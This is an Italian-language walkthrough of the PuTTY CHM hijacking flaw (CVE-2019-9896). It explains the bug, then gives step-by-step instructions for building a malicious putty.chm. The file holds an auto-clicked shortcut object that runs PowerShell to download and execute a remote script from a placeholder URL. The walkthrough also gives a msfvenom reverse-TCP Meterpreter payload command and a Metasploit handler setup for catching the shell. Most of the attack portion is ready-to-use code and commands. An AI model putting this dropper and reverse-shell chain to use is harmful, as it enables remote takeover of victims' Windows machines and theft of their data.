
Potenziale esecuzione di codice dannoso tramite hijacking di CHM (CVE-2019-9896)
Potenziale esecuzione di codice dannoso tramite dirottamento CHM
Fino alla versione 0.70 inclusa, quando si avviava la guida in linea in uno qualsiasi degli strumenti GUI di PuTTY per Windows, lo strumento individuava il proprio file della guida cercandolo accanto al proprio eseguibile.
Se si eseguiva PuTTY da una directory in cui codice non correlato poteva organizzarsi per rilasciare file (ad esempio, eseguendolo direttamente dalla directory di download predefinita del browser), ciò significa che se qualcuno fosse riuscito a inserire un file chiamato putty.chm in quella directory (ad esempio, convincendoti a fare clic su un collegamento di download con quel nome), PuTTY avrebbe creduto che fosse il vero file della guida e lo avrebbe passato a htmlhelp.exe.
Questa è una vulnerabilità perché i file della guida HTML (.chm) possono a loro volta organizzarsi per eseguire codice a loro scelta, ad esempio incorporando un elemento HTML che è un collegamento di Windows, oltre a Javascript per fare clic su di esso.
Maggiori dettagli: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM è un'estensione per il formato di file HTML compilato, utilizzata più comunemente dal programma di guida basato su HTML di Microsoft. Può contenere molti documenti HTML compressi e le immagini e JavaScript a cui questi si collegano. Le funzionalità CHM includono un indice, un sommario e la ricerca nel testo completo.
In passato, gli attori delle minacce hanno utilizzato file CHM per rilasciare il file backdoor, che è comunemente usato negli attacchi mirati.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
Abbiamo bisogno del toolkit HTML Help Workshop per creare un file CHM. Dopo l'installazione, avvia lo strumento HTML Help Workshop.
Fai clic su File > Nuovo > Progetto e segui i passaggi sopra:
Creazione di un progetto HTML Help
Schermata Nuovo Progetto > Avanti > Sfoglia
Specifica il nome del tuo file di progetto e dove desideri che venga creato.
Compila il campo Nome file: putty e fai clic su "Apri"
Specifica il tuo progetto HTML Help
Seleziona File HTML (.htm)
Specifica dove si trovano i tuoi file .htm.
Pulsante Aggiungi... e seleziona una directory già creata per l'exploit per contenere il tuo file dannoso come putty.htm
Seleziona un file HTM
La procedura guidata crea un nuovo progetto HTML Help. Dobbiamo apportare modifiche.
Nello strumento, fai doppio clic sul file htm creato per modificarlo, quindi inserisci il codice seguente per creare un file della guida di base:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
Crea file dannoso
Come faccio a creare un semplice payload Meterpreter TCP per Windows?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
Quando fai doppio clic sul pulsante della guida, un putty.exe viene generato come processo figlio di malware.exe, che è l'interprete del file binario CHM. (Il tuo putty.chm dannoso e il file putty.exe devono trovarsi nella stessa directory)
Genera un malware
Come ottengo la shell meterpreter?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
Risorse: